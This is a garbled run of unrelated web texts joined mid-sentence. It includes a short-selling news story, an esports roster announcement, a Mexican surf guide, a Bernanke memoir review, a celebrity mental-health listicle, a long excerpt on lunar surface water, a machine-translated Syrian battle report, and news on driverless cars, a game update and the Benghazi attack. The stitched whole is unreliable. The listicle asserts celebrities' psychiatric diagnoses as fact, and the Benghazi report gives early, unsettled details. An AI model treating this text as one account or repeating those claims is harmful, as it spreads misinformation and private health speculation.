“The Fed has taken the downside out of the market, making shorting a pretty challenging game right now,” said Randy Frederick, managing director of active trading at Charles Schwab in Austin, Texas.
According to Thomson Reuters data, of the 50 companies in the Russell 3000 Index with the largest percentage of shares outstanding shorted, the average gain year-to-date stands at 10.7 percent. Of those, 27 issues are up for the year - gaining an average 38.7 percent. The other 23 are, on average, down by 19.6 percent.
“When the market goes up a lot the way it has been, stocks get pulled up with it... and your accuracy has to be greater otherwise you’re at a much bigger risk of being caught on the wrong side of things,” Frederick said.
John Hempton, chief investment officer at Bronte Capital, a small hedge fund in Sydney, Australia, said there are many “Johnny-come-lately” players to the shorting game, and they’re taking oversized positions in a limited number of stocks.
Investors at the Ira Sohn Investment Conference in New York on Wednesday leveled heavy criticism at the Fed, saying the central bank is distorting the market’s true level.
The stocks that make the list of the most popular shorts are a hodge-podge of troubled retailers like J.C. Penney (JCP.N) and RadioShack RSH.N, and for-profit education companies.
A number of the names are smaller biotech companies like Arena Pharmaceuticals Inc (ARNA.O), Vivus Inc (VVUS.O) and Dendreon Corp DNDN.O. Biotech names are prominent favorites among shorts because they have small revenues and a limited product pipeline, and their shares fluctuate wildly depending on approval prospects for their drugs.
Groupon Inc (GRPN.O), also a popular short bet that has lost 80 percent from its trading debut in November 2011, surged 11.4 percent on Thursday, following better-than-expected results. About 6.4 percent of the stock’s outstanding shares are currently being shorted.
To be sure, some of the favorites among shorts, such as Green Mountain, are rebounding after several quarters of weakness when those who bet the stock was overvalued reaped big rewards. At one point, Green Mountain shares had lost 85 percent from a peak of nearly $116 a share in September 2011. They closed on Thursday at $76.04.
Tesla’s surge - the stock has gained nearly 105 percent this year alone after Thursday’s surge - is due to improving sales and earnings prospects for the electric car maker. Eventually, short-sellers may be correct on a company like Tesla, but the cost of staying with such a bet can be very high.
According to Markit, the annualized cost of shorting Tesla comes to 45 percent of the value of the shares borrowed at the time of lending, and short bets have been increasing since Monday as its earnings approached. This was partly a bet that all good news had already been factored into the price.
However, the company reported stronger-than-expected sales late on Wednesday, and Chief Executive Elon Musk said the potential for future growth was “probably a bit higher” than originally estimated. In late April, he needled the shorts by tweeting: “Seems to be some stormy weather over in Shortville these days.”
“I would steer clear of any name that has been heavily publicized with big amounts of short interest, especially going into news like earnings. That’s very dangerous,” said LEK’s Davis.Overwatch went big on the players community, and we hoped that someday the game will rise on the eSport side. So, it is an evidence that we will at some point recruit our own team, and for that, we trusted a veteran player of the FPS scene : Guillaume “KabaL” Ettori. Surrounded by international players like Rikard “Klanton” Lundberg, Tarek “.kr4tosdigga?!” Ekmekci, Metehan “Mete” Aksüt, Mihail “Mezamorphis” Păunecu and Toni “ube” Häkli, they wompose a team with incredible talent and big potential.
Hello! Today is a good day! LDLC got an Overwatch Team and i’m very happy they picked us for this new adventure. When I left melty in july, I got two offers that were important for me. First, kratos asked me to join as support a mix team call “Le Mixx” and secondly, LDLC contacted me to create an Overwatch team. We are now playing together since the start of august and if we refer to our officials matches and scrims results, the team level is currently between the top8 and the top10 EU. This team has good potential. With LDLC’s support, we can invest ourselves 100% in Overwatch. Thanks for all! Guillaume “KabaL” Ettori
We are proud to welcome our new friends on this adventure, and we hope that you will support them as much as we do!
Composition
Guillaume “KabaL” Ettori, Support
Rikard “Klanton” Lundberg, DPS
Tarek “.kr4tosdigga?!” Ekmekci, Support
Metehan “Mete” Aksüt, Flex
Mihail “Mezamorphis” Păunecu, Tank
Toni “ube” Häkli, DPSVery consistent, very hollow, lined-up barrels thunder here at Mexico's version of Pipeline. The most famous wave is the beachbreak, Playa Zicatela, which explodes over a shallow sand bottom, with equally fast lefts and rights, 5 to 20 feet. The freight-train rights sweep into the bay from the north side, while the peakier lefts come in from the S. There's a small cove in the village of Puerto Escondido with excellent diving located north of the beachbreak by the old airport called Angelita. On the right swell direction when the beachbreak is too small, 2- to 5-foot waves can be surfed off the small point, with lefts and rights.
A couple of miles south of the beachbreak, at the end of the bay, is a left pointbreak that is much mellower than the main break, surfable in the afternoons when the beachbreak blows out. The take off spot is rocky and gets hollow and big, up to 18 feet.
Either walk or take a taxi from town (and arrange to have them pick you up). If you drive yourself, look for a giant cross above the point and take the maintenance road right there. Puerto Escondido is probably the only spot in this state where you're likely to find real crowds.
The Surf
Recently completed roads and bridges along Mexico 200 have opened up many more miles of coastline to surf exploration through Oaxaca and Chiapas all the way to the border of Guatemala. Unfortunately, the area does not seem to be as rich in surf potential as Guerrero and Michoacan to the north, with the best waves being found at Puerto Escondido and Chacahua. There may be outstanding potential at the reefs and headlands below Salina Cruz, but prevailing wind conditions are not favorable.
Most spots will be largest in the summer, sometimes huge from June-September, but surf can reasonably be expected all year. Puerto Escondido may be too big during peak summer months for many visitors. Cleaner, more playful surf can be found in the early season, March-April. Hurricane season is August to November but early storms may occur anytime from late May on. It pays to follow their progress.
Hazards include: sea urchins, jellyfish, rocks around points and reefs, bugs, and stingrays at sandy beaches. A stingray wound can be very painful, so take the precaution of shuffling your feet on flat, sandy bottoms to avoid stepping down on the back of the ray. If you are stung, immediately apply heat to relieve the pain. Immerse your foot in water as hot as you can tolerate for 45 minutes to an hour. Have it checked by a doctor to make sure nothing remains of the barb in the wound. If you have only contaminated water and don't want to take the extra time to boil it, holding a hot water bottle against the wound will work and prevent contaminated water from contacting the wound. Insects will be at their worst during the rainy season, especially mosquitoes, although the peak of the wet season, August-Octover, is also one of the best times for surf. Another excellent time to visit is during the spring before rainy season begins, although Chiapas may be very hot.
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•Read the interview with Coco NogalesDec/Jan 2016 Anatomy of a Meltdown Ben Bernanke’s Washington tell-all says too little, too late Pedro Nicolaci da Costa
The Courage to Act: A Memoir of a Crisis and Its Aftermath by Ben S. Bernanke W. W. Norton & Company $35.00 List Price For more info visit:
Amazon • IndieBound • Barnes & Noble
Former Federal Reserve chairman Ben Bernanke’s new book feels more like the first of many acts than an authoritative memoir. And the main body of the narrative remains, so far as financial history is concerned, very much a work in progress.
Still, notwithstanding its provisional character, there’s no denying that The Courage to Act is a useful document. Bernanke was arguably the most powerful economic official in the world during the worst global financial crisis since the Great Depression. His direct account of that event, staid though it can be, is invaluable—both for the official record and for understanding how his thinking shifted during an eventful eight-year tenure atop the Fed.
The memoir begins with an amusing glimpse into the notoriously shy and guarded Bernanke’s personal life, cataloguing his journey from a small-town boyhood in South Carolina through the Ivy League academic ranks and on to what he describes as his unlikely elevation to the head of the nation’s central bank. “I had studied monetary policy for years,” writes Bernanke, who as a longtime Princeton economics professor specialized in the study of the monetary causes of the Great Depression. “I had never expected to be part of the institution and contributing to policy decisions.” As he traces the odyssey leading to the inner sanctums of Washington power, Bernanke conquers his constitutional reserve long enough for the reader to get a feel for the folksy demeanor and obsessive baseball fandom that have endeared him within wonkish economic-policy circles.
Yet this personal touch is less in evidence
…(BPD) Borderline personality disorder is a mental health condition that impacts 5.9% of the population. This mental health dysfunction impacts one’s mental capacity and stability in lieu of their emotional, psychological, behavioral, and overall mental health. Some of the many symptoms of this disorder can range from low self-esteem, fear of abandonment, short-lived relationships, impulsive behavior, distorted self-worth, mood swings, anger, depression, and more.
Mental health is important, and sometimes people with certain mental health issues may be less-inclined to seek help or treatment for them. More and more celebrities are coming forward and admitting that they have borderline personality disorder. This is actually developing and raising more awareness for others who are or who might be suffering from BPD and also prove as inspiring for them to seek treatment for the disorder as well.
Celebrities with Borderline Personality Disorder: Angelina Jolie-Pitt
Angelina Jolie-Pitt, actress, wife of Brad Pitt and daughter of John Voight was first diagnosed BPD in the late 1990’s.
Before Angelina sought mental health treatment the actress had volatile relationships, was promiscuous, and had admitted to having thoughts of suicide frequently- although she never attempted once to take her own life.
Now after seeking treatment, and coming forward as an advocate of mental health wellness and awareness- she has the life she has always dreamed of with her highly-publicized long time relationship/ now marriage to fellow actor Brad Pitt, and with raising her 6 children Pax, Maddox, Zahara, Shiloh, Vivian, and Knox Jolie-Pitt.
Celebrities with Borderline Personality Disorder: Amy Winehouse
Amy Jade Winehouse a U.K. based songstress went big with her platinum selling first record featuring the much recognized tune “Rehab..” Coincidentally Amy herself suffered with demons such as a violent and rocky relationships, drug abuse, alcohol abuse, self-harm, body dysmorphic disorder, depression, and erratic behavior and mood swings.
After seeking treatment for drug use in 2010, Amy found herself on more and more drinking binges after disregarding pleas by her family and friends. Unfortunately, on the morning of July 23, 2011 she was found unresponsive. Toxicology reports showed that Amy Winehouse died of alcohol poisoning.
Celebrities with Borderline Personality Disorder: The Late Princess Diana
The late Princess Diana had her bouts with depression and was candidly open about suffering from the eating disorder, bulimia.
Although the root of her problems started at an early |
inferred to represent pyroclastic deposits enriched in volcanic glass ( 37 ), exhibit water contents that are anomalously high compared to surrounding terrains regardless of latitude and OMAT ( Fig. 1 ) [( 38 ), chap. 3; ( 39 )]. Similar to water detected in the central peak of the Bullialdus crater ( 40 ) and an inferred silicic volcanic complex at Compton-Belkovich ( 41, 42 ), water in these deposits likely originated from magmatic sources and not from solar wind implantation.
Contrary to previous studies of the M 3 data, we observe no strong differences in water content between mare and highland regions at a global scale ( Fig. 1 ). As noted above, most variations in OH/H 2 O at the optical surface can be described as a function of latitude or OMAT. If water is present in the bulk mantle, then KREEP (potassium, rare earth element, and phosphorous)–like components linked to the last stages of magma ocean cooling are expected to be enriched in water ( 35 ), as would magmas of evolved composition. We observe no strong increase in water associated with the PKT as a whole ( Fig. 1C ), but we do observe that several features previously interpreted as silicic domes exhibit increased OH/H 2 O absorptions compared with surrounding terrains ( Fig. 4 ). In addition, some (but not all) regions, where crystalline plagioclase exposures have been identified ( 36 ), correspond to zones of enhanced hydration ( Fig. 5 and fig. S2).
No correlation between OMAT and ESPAT (water content) is observed for latitudes lower than ±30°, consistent with the general lack of strong OH/H 2 O absorptions in this latitude range. In contrast, regions of increased maturity (lower OMAT) exhibit increased water contents (higher ESPAT) for latitudes in the range of ~60° to 70° for both hemispheres ( Fig. 3 ). A similar but weaker correlation between maturity and water content is also observed for mid-latitudes. These trends suggest that when surface OH/H 2 O is present in sufficient amounts, as is the case for latitudes poleward of ~30°, its abundance increases as a function of the maturity of the lunar regolith. At a latitude of 60° to 70°, the ESPAT values (and associated water contents) vary by a factor of ~3 (~0.02 to 0.06) over the observed OMAT range, and it is also evident that bright rays associated with young craters exhibit weaker water absorptions compared with surrounding terrains ( Fig. 3, C and D). This is true, even at mid- and high latitudes where absorptions are strongest, whereas soils at low latitudes are relatively dry regardless of OMAT. These results indicate that latitude is the primary control on surface OH/H 2 O abundance but that soil maturity is an important secondary factor.
Optical maturity (OMAT) is a spectral parameter that has been devised to estimate the degree of space weathering for lunar soils based on reflectance properties at visible-NIR wavelengths ( 33 ). Figure 3 presents plots of OMAT values previously derived from the Clementine multispectral data ( 33 ) versus our ESPAT values calculated from the M 3 data. Higher OMAT values are interpreted to represent “immature” soils, whereas accumulation of submicroscopic nanophase Fe during enhanced space weathering leads to more “mature” soils and lower OMAT values. Although OMAT values cannot indicate exposure ages older than Copernican (~1.2 billion years ago) ( 33 ), they are roughly indicative of maturity for typical lunar particles with mean sizes of 60 to 80 μm ( 34 ) and provide a useful proxy for relating water absorption strength to likely degree of space weathering.
The apparent asymmetry in water content between the Northern Hemisphere and the Southern Hemisphere, as seen in the M 3 data, is in accordance with the variations in the suppression of epithermal neutrons, as seen in the Lunar Prospector data [stronger suppression in the Northern Hemisphere, consistent with increased H abundance ( 32 )]. In contrast to mid- and high latitudes, estimates of water abundance for regolith at latitudes of <30° are commonly <100 ppm, consistent with the values measured for returned lunar samples ( Fig. 2 ). We observe no indication that OH/H 2 O absorption strength varies systematically as a function of longitude ( Fig. 1C ), although the specific latitude at which water abundance begins to increase does vary with longitude.
( A ) Global map of ESPAT values (at ~2.86 μm) and estimated water contents (assuming that the irregularly-shaped particles have a diameter of 60 to 80 μm) calculated from the M 3 data overlain on a Lunar Orbiter Laser Altimeter shaded-relief map. Apollo landing sites are labeled with yellow dots. ( B ) Latitude profile of ESPAT and water content derived from (A) when averaged over all longitudes. ( C ) Longitude profile of ESPAT values averaged over all latitudes between 35°N and 35°S. Light blue bar indicates the approximate latitude range of mare dominant region. The green bar shows the approximate latitude range of PKT. PKT, Procellarum KREEP Terrane.
A quantitative global map of water at the optical surface of the Moon, as determined from the M 3 spectra, the first of its kind, is presented in Fig. 1 and demonstrates that OH/H 2 O absorption strength at ~2.9 μm increases as a function of latitude. This latitude dependence is broadly consistent with previous studies of the M 3 data ( 17, 19 ), but the improved thermal correction model allows for a more accurate estimate of absorption strength and water content at low latitudes, where surface temperatures can exceed 400 K. We observe that water absorptions are commonly very weak or absent in the spectra for the ±30° latitude zone ( Fig. 1B ) but increase sharply at higher latitudes, corresponding to maximum water abundances of ~750 and ~500 parts per million (ppm) for the Northern Hemisphere and Southern Hemisphere, respectively ( Fig. 1B ).
DISCUSSION
The distribution and variation in lunar surface water are primarily correlated to latitude (Fig. 1), which is a spatial manifestation of control by temperature. The latitudinal variation of lunar surface water may be associated with a decrease in diffusion and thermal desorption at lower temperatures toward the poles. This apparent temperature dependence is consistent with NIR observations by Deep Impact (18), as well as the presence of increased hydrogen observed in the upper tens of centimeters of the regolith near the poles in the neutron data (32). However, variations in ESPAT/water content for latitudes of >±85° cannot be reliably determined from the M3 data due to significant shadowing and low signal-to-noise ratios (SNRs). Regardless, it is clear that the diurnal variations in water absorption strength become weaker and that water stability increases toward the poles in both hemispheres, consistent with increased water retention and accumulation due to lower temperatures, slower diffusion, decreased sputtering, or some combination of these factors.
Far-ultraviolet (UV) data acquired by the Lyman Alpha Mapping Project (LAMP) also exhibit diurnal variations in surface hydration that weaken at latitudes of >60° (43–45), although the LAMP-sensing depth is several orders of magnitude smaller (<100 nm) than M3. LAMP data have been interpreted to represent mobility of H 2 O, primarily because Lyman-α and far-UV properties of H 2 O ice are known, whereas properties of OH and H 2 O adsorbed on or structurally bound within minerals are not (43, 46). However, the LAMP data do not preclude OH as being responsible for the observed signal, and confirmation by two independent NIR instruments (Deep Impact and M3) strongly supports the formation and destruction of H-bearing species across the lunar surface on diurnal time scales. We note that OH itself is not required to be mobile to explain the decrease in M3 absorption strength; the loss of H+ alone by breaking of O–H bonds (leaving behind highly reactive oxygen sites) would yield a similar spectral signature at NIR wavelengths.
The spatial distribution and temporal variation of OH on the Moon, as seen in the M3 data, are consistent with solar wind being the dominant source of lunar surface water, although enrichments associated with pyroclastic deposits [(38), chap. 3; (39)], silicic regions (41, 42), and crater central peaks (40) indicate that local surface expressions of magmatic water are present as well. Agglutinates contain water (16), and their abundance increases with soil maturity (degree of space weathering) (34); therefore, it may be expected that the bulk water content of lunar regolith also increases as a function of maturity. This is the trend observed in the newly corrected M3 data at mid-to-high latitudes—areas where surface water stability increases exhibit a positive correlation with soil maturity, as inferred from the OMAT parameter (Fig. 3). Experimental results suggest that the efficiency of hydroxyl formation from solar wind implantation may also increase with soil maturity (29), representing another factor that may contribute to this correlation.
We propose that agglutinates are an important and perhaps the primary host of water responsible for absorptions seen at latitudes of >30° (Fig. 1). The lack of similar water signatures for soils of similar maturity at low latitudes suggests that agglutinates in these regions lose water over time, are less efficient at trapping water during their formation, and/or form from materials poorer in OH/H 2 O compared with higher-latitude counterparts. The latter is consistent with the observed decrease in diurnal variation of surface water at higher latitudes. This indicates that more water of solar wind origin may be present in soils at those locations due to its increased stability at the lunar surface, and isotopic measurements of water in agglutinates confirm that they contain a solar wind component (16). Therefore, the more solar wind–derived water that is present in a soil during a micrometeorite impact event, the more water there exists to be trapped/quenched in the resulting agglutinitic glass.
This model predicts that agglutinates formed at higher latitudes contain more OH/H 2 O than those formed at lower latitudes, a hypothesis that can be tested by future sample return. This model also implies that water abundances in bulk agglutinates within the Apollo samples, which are all from latitudes of <30°, are near the detection limit of M3 (~20 ppm based on the assumptions made here; see Methods). Excluding areas enriched in water that may be associated with magmatic sources, our estimated water contents in the ±30° latitude zone are commonly <100 ppm, which is similar to the values measured in Apollo soils via pyrolysis and similar to the ~70 ppm of water estimated for regolith based on secondary-ion mass spectrometry (SIMS) measurements of lunar agglutinates (Fig. 2) (16). In contrast to mid- and high latitudes where bulk agglutinates may have higher water contents, the M3 signature observed at low latitudes, and the diurnal variations, in particular, may be dominated by water in the outermost 100 to 200 nm of regolith grains (including agglutinates) that is most sensitive to solar wind implantation and sputtering. This effect would also explain why similar diurnal variations are observed for the upper ~100 nm in the LAMP data at low latitudes.
In summary, the M3 signatures are likely dominated by two components. First is the bulk water content of agglutinitic glass, which may be stable over diurnal cycles and contains a solar wind component trapped/quenched during formation, and second is the water in grain rims that is dynamic over diurnal cycles due to ongoing regolith–solar wind interactions. The relative contribution of these two components to the NIR data varies as a function of latitude due to variations in surface temperature and solar wind flux, and the bulk agglutinate component dominates the spectral signature at high latitudes, whereas the grain rim component dominates at equatorial latitudes. Soils at mid-latitudes (±30° to 60°) have significant contributions from both components, as evidenced by their increased water abundance and large dynamic range in water content over diurnal cycles.
Previous studies of the M3 data have suggested that plagioclase-rich locations may exhibit increased water contents (19), but a comparison of the new water content maps with previously reported occurrences of unshocked plagioclase shows no clear correlation (fig. S2). There are several exceptions, including highland terrains surrounding Mare Crisium, where a zone of increased water content includes a number of plagioclase-rich outcrops (Fig. 5). However, there is not a one-to-one correlation between individual outcrops and water content, and increased water contents are not observed for similar outcrops in the nearby Mare Nectaris. Water measured in the plagioclase grains of lunar anorthosite has been interpreted as evidence for as much as 320 ppm of water in the lunar magma ocean (15). The weak links between the M3-derived water abundance and some plagioclase-rich outcrops are tantalizing observations that may support this interpretation of a wet early Moon, but as a whole, the M3 data do not provide clear evidence for magmatic water in the anorthositic crust.
In our corrected data, we observe no significant differences in water content between mare and highland regions (Fig. 1), although these trends cannot be ruled out if they are within the uncertainties of the methods presented here or if any expected differences are smaller than the detection capabilities of M3. Compositional trends observed in previous M3 studies of surface water may be an artifact of nonlinear absorption and scattering that influences absorption strength in the reflectance spectra, whereas these effects are greatly reduced by using ESPAT derived from the SSA spectra (26, 47). If not properly accounted for, absorption strength determined from the reflectance spectra can give the false impression that bright regions have stronger absorptions compared with dark regions, an effect that has also been observed for Mars (26).
At smaller spatial scales, hydration absorptions in the M3 spectra for 3 of 11 lunar swirl features were previously shown to exhibit a stronger OH absorption near 2.8 μm compared with the spectra from surrounding terrains, suggesting that localized magnetic anomalies may weaken solar wind interaction with regolith at lunar swirls (48). We do not observe this trend for lunar swirls between the ±30° latitude, where water absorptions are typically weak or absent, but we do confirm it for a mid-latitude lunar swirl at Mare Ingenii (Fig. 7). Although the spectral differences are small, M3 pixels with the weakest absorptions exhibit a spatial coherence that matches the location of swirls. This is consistent with weakened solar wind interaction at lunar swirls, but the effect on water content is only apparent at mid- and high latitudes, where water can accumulate in adjacent terrains due to increased stability. Similar trends may exist at another high-latitude swirl at the Hopmann crater (49°S, 160°E), but we cannot confirm this due to incomplete M3 coverage at this location.
Fig. 7 Estimated water content for lunar swirl at Ingenii. (A) Albedo map (750 nm) from the LRO Wide Angle Camera (WAC) mosaic. (B) M3 water map overlain on albedo map. (C) Zoomed-in view of swirl showing locations for (D) examples of the thermally corrected M3 spectra.
Anomalously strong water absorptions are observed for a number of lunar pyroclastic deposits [(38), chap. 3; (39)], demonstrating that water sourced from the lunar interior can be identified and quantified using the new thermally corrected M3 data. Hydration anomalies were also previously observed at a high-latitude volcanic complex at Compton-Belkovich (41, 42) and at the central peak of the Bullialdus crater (40), both of which were attributed to magmatic sources. We confirm both of these detections and estimate the water content at Bullialdus to be <250 ppm (Fig. 8) based on the methods presented here. Our estimated water content for silicic volcanic deposits at Compton-Belkovich is ~200 to 250 ppm, approximately ~100 ppm higher than the surrounding terrains at this high latitude (Fig. 4).
Fig. 8 Water content map for Bullialdus crater exhibiting increased hydration in central peak, approaching values of ~250 ppm.
We also observe increased water contents at two of six other previously reported silicic volcanic constructs (49, 50), the Marian and Gruithuisen domes, neither of which has previously been reported to contain water. Several factors may explain the lack of water observed for the other four regions, including volatile loss during magma degassing, water-poor magma source regions, or misidentification of these constructs as evolved magma compositions. Regardless, these new observations confirm that some silicic and KREEP-related lithologies on the Moon contain enhanced water contents, consistent with enrichment in volatiles during magmatic evolution. However, the PKT as a whole does not exhibit enhanced water content (Fig. 1C); thus, whether these observations reflect bulk properties of the lunar magma ocean or localized magma sources with anomalously high water contents remains unclear.
Hydration anomalies associated with impacts are not typically observed at the scale of the M3 data, indicating that either large hydrous impactors have had no significant contribution to the surface-volatile reservoir in the recent geologic past or these volatiles have since been removed and/or redistributed across the lunar surface. Two notable exceptions are the craters Copernicus and Plato, both of which exhibit increased water content that may reflect retention of volatiles from hydrous impactors and are deserving of future study.
Because of their different stabilities, differentiating among OH, molecular H 2 O, and H 2 O ice at the lunar surface is critical for understanding the formation, accumulation, and migration of lunar water, as well as its extraction potential for in situ resource utilization. NIR absorptions considered diagnostic for hydroxyl and molecular H 2 O were previously studied in the VIMS and M3 data in an attempt to differentiate and map these species (17), and it has also been argued that variations in these species may be correlated with composition and latitude.
Absorptions due to OH vibrations commonly occur at wavelengths of ~2.65 to 2.9 μm, whereas fundamental stretching vibrations of H 2 O occur near ~2.9 μm, and the first overtone of the H 2 O bending vibration occurs near ~3.1 μm. However, the position and strength of OH absorptions are highly variable, and they can occur at wavelengths of >2.9 μm, depending on the bonding energy and the cation to which the hydroxyl is attached; thus, OH absorptions may be broad and occur throughout the ~2.65- to 3.5-μm range (51). Excluding the final wavelength channel of M3 (band 85, 2.976 μm), which is near the edge of the detector and has a lower SNR (52), the longest wavelength measured in these data is 2.936 μm. Hence, the wavelength range of M3 is too limited to accurately determine the full shape and maximum absorption point within the 3-μm region, making it difficult to differentiate OH from H 2 O, particularly if both species are present.
After the implementation of the new thermal correction model, we find that water absorptions in the resulting M3 spectra are largely similar in shape across the lunar surface and vary primarily in strength. Occurrences of discrete OH bands identified in previous studies, differentiated from H 2 O by their increase in reflectance in the last several wavelength channels of the M3 data, may have been an artifact of incomplete thermal removal. Therefore, the existing M3 data are best interpreted as representing the presence and distribution of OH and provide no unambiguous evidence for the presence of H 2 O.
Because of the radiolysis of H 2 O and the higher thermal stability of OH, the latter may be expected to be the dominant species at the optical surface based on theoretical considerations and laboratory experiments (28, 53). However, the VIMS and Deep Impact NIR data for the Moon, although of lower spatial resolution than M3 and only acquired during flyby opportunities, both exhibit broad absorptions in the 3-μm region that may be due, in part, to the presence of molecular H 2 O. Whether H 2 O is present at the optical surface thus remains an outstanding question, and further study of the VIMS and Deep Impact data is warranted.
The M3 data and maps presented here provide a critical quantitative foundation for assessing lunar water at a global scale, a necessary first step in evaluating whether this water can be used as an in situ resource for human exploration. If our globally averaged latitude profile for water (Fig. 1B) is assumed to extend to 1-m depth due to regolith gardening and the regolith density is on the order of 1.8 g/cm3, then as much as 1.2 × 1014 g of water may be present in the upper meter of regolith when averaged over the entire Moon. This is near the upper end of estimates of surface water modeled by Hodges (4 × 1012 to 2 × 1014 g) (22) and is an order of magnitude lower than the mass estimated to be in the polar regions from the neutron data (32). The total amount of water in the lunar regolith is thus a significant reservoir and may be large and dynamic enough over geologic time scales to act as the source of water currently observed at the poles, but it is not as highly concentrated as the water in those regions. Although implanted and mobilized on diurnal cycles, the correlation with soil maturity also indicates that much of the surface water present today is not renewable on short time scales. These characteristics may present challenges for use as an in situ resource, but large pyroclastic deposits with high water contents may provide viable nonpolar alternatives.
Our results also demonstrate that localized occurrences of magmatic water can be identified from an orbit and occur in a variety of locations on the Moon, providing new evidence for water in the lunar mantle, but at the spatial scale of the M3 data, we find no strong correlation between water content and KREEP terrains that would indicate widespread concentration of water during late-stage crystallization of the lunar magma ocean. Rather, water in the lunar regolith contains a dynamic component and is most consistent with OH originating from solar wind implantation of H+, and similar processes may occur on other airless planetary bodies. However, the presence and mobility of molecular H 2 O on the lunar surface remain unclear based on the existing NIR data, and future orbital instruments that span the ~3- to 4-μm-wavelength range and provide global, time-resolved coverage are required to fully differentiate and determine the dynamics of OH, molecular H 2 O, and H 2 O ice on the Moon.
In summary, we find that OH abundance increases primarily as a function of latitude and secondarily as a function of soil maturity (degree of space weathering). This is consistent with solar wind being the dominant source of lunar surface water, and agglutinates in the lunar regolith are likely the primary host of this water. Mare and highland regions exhibit similar absorption strengths at a global scale, indicating that implantation and retention of water originating from solar wind processes are largely independent of composition at the spatial scales of the M3 data. The formation and removal of surface OH are confirmed to be dynamic over the course of a lunar day, likely as a result of solar wind sputtering and/or other temperature-dependent processes. Finally, KREEP terrains generally do not exhibit increased water contents, but pyroclastic deposits and some previously reported silicic domes exhibit anomalously strong water absorptions that are indicative of internal (magmatic) sources. These results provide a new quantitative foundation for comparison with theoretical calculations, experimental studies, and independent observations of volatiles on the Moon and other airless bodies.https://z5h64q92x9.net/proxy_u/ru-en.en/colonelcassad.livejournal.com/3493853.html
For the SAA itself was a very bad day in the South of Syria. In addition to Americans shot down Iranian drone in the area At Tanfa failed offensive in Daraa. Since may local power was pumped up with fresh infantry from the province of Damascus here was transferred to the 4th mechanized division. A few days rebel positions in the city and its outskirts were heavily bombed HQs of the Russian Federation and the Syrian air force.
Today after the artillery barrage and the new airstrikes, the assault team went on the attack and initially achieved considerable success, capturing a military base West of Daraa, upon which to conduct operations towards the Syrian-Jordanian border, which threatened to jeopardize the supply of fighters in Daraa.
The offensive apparently was aimed at avoiding debilitating fights in urban areas, but judging by the results, it was organized not the best way.
Militants carried out regrouping competent, repelled the attack of the SAA in the city counterattacked and captured SAA base, knocking out the soldiers who were forced to withdraw to their original positions.
After the failure of the offensive on the positions of militants renewed intense airstrikes, which hints at a repetition of the attempts to break through to the border with Jordan in the area of aeraa.
Today costly SAA (lost a few pieces of equipment and dozens of soldiers killed and wounded).
Militants also in the form of a trophy got one slightly damaged T-72, bulldozer and something like a BMP with ZU-23-2.
Trophies.
Prisoner.
During the fighting on the basis of the SAA lost 15 men killed.DETROIT — Google’s driverless car may still be a work in progress, but the potential for semiautonomous vehicles on American roads is no longer the stuff of science fiction.
By the end of the decade, a growing number of automakers aim to offer some form of hands-off-the-wheel, feet-off-the-pedals highway driving where a driver can sit back and let the car take control.
The very nature of driving, experts say, will be radically reshaped — and the biggest players in the auto industry are now vying to capture a slice of the revolutionary market they see coming within a matter of years.
“This is the year we’ll look back on as the turning point,” said Scott Belcher, president of the nonprofit Intelligent Transportation Society of America, who has helped organize a global connected car expo for seven years. “We’re at the cusp now of this completely new generation of transportation, and it’s going to change things on a scale not seen since Eisenhower and the Interstate Highway System.”Stardust Galaxy Warriors: Stellar Climax is an upgrade for Stardust Galaxy Warriors, and it’s coming free for existing owners on August 19.
For more small studio goodness, check out our list of PC’s best indie games.
Stardust Galaxy Warriors is a lovely-looking, 1-4 player side-scrolling shoot ’em up that puts you in the driver’s seat of a giant mech.
The definitive edition won’t just bring the ‘Stellar Climax’ name, it’ll also add a bunch of new features. A mysterious new player character, a revised upgrade system, extra visual polish and New Game + modes are promised. The latter will let you carry your skills to a new playthrough, letting you bump up the difficulty so you can tackle the remixed bosses and enemies with a stronger character.
On August 19, Stardust Galaxy Warriors owners on Steam will receive an update which will contain the upgrade to the definitive edition, Stellar Climax. Stardust Galaxy Warriors is currently 40% off as part of Steam’s Summer Sale, so you can get access to that upgrade cheap if you put the $5.99 down now.
“This is the game we wish we could have delivered back in November,” said Dreamloop Games co-founder Steve Stewart. “We got the opportunity to polish this, and release the director’s cut, so we snatched it, and now Stellar Climax is the satisfying resolution we were looking for. It’s our happy ending.”
“One thing we’re concerned about is Steam’s ability to help us convey that we’re upgrading the game to the definitive edition without launching it as a separate title. We don’t want to make people pay twice. The players deserve the best version we can deliver for supporting us. We’re working on something big to try to get the point across that this is basically a better game, free for our current players.”The US ambassador to Libya and three other embassy staff have been killed by protesters angry about an American film deemed blasphemous to the Prophet Mohamed.
52-year-old Chris Stevens died of smoke inhalation while trying to evacuate staff from the US consulate in Beghazi after protesters stormed the compound and killed Sean Smith - a foreign service information management officer.
In the subsequent chaos, the protesters fired rockets at the vehicle Mr Stevens was escaping in, disabling it.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
It is thought two unidentified Marines attempted to drag the ambassador from the burning car, before being shot dead by the mob themselves.
Graphic images from the scene show civilians then taking over the rescue operation, but their efforts to save Mr Stevens’ life proved futile.
US President Barack Obama condemned the attack, ordering increased security at US diplomatic posts around the world.
The assault followed a protest in neighbouring Egypt where around 2,000 demonstrators scaled the walls of the US embassy before ripping down and burning the American flag and replacing it with a banner associated with ultraconservative Islam.
The attacks are in protest at the release of a 14-minute long trailer for a US-made film that ridicules Prophet Mohamed.
The film, titled The Innocence of the Muslims, depicts Mohamed as a fraudulent womaniser who demands massacres.
It was made by 56-year-old filmmaker Sam Bacille, who identifies himself as an Israeli Jew and in an interview yesterday said: “Islam is a cancer, period”.
Mr Bacille is now reported to be in hiding, fearing for his life.
Originally filmed in English, the trailer was later translated into Egyptian Arabic.
It has featured in Egyptian media reports for several days, with many conservative clerics publicly denouncing it.
Matters came to a head yesterday when hundreds of protests descended on downtown Cairo, gathering outside the walls of the US embassy.
Most of the embassy staff had already evacuated the building amid warnings of the demonstration, but that didn’t stop protesters, some of whom were wearing masks and chanting pro al-Qa’ida messages, scaling the walls and spraying religious graffiti.
The protests, which took place on the 11th anniversary of the September 11th attacks in New York, then spread to Libya where a group calling themselves the Islamic Law Supporters launched an attack on the US consulate in Beghazi.
In a personal statement on the attacks, US President Obama paid tribute to Ambassador Stevens, calling him a “a courageous and exemplary representative of the United States”.
US Secretary of State Hillary Rodham Clinton also condemned the attacks, before paying tribute to Mr. Stevens’ 21-years in the Foreign Service and calling Sean Smith “one of our best.”
We’ll tell you what’s true. You can form your own view.
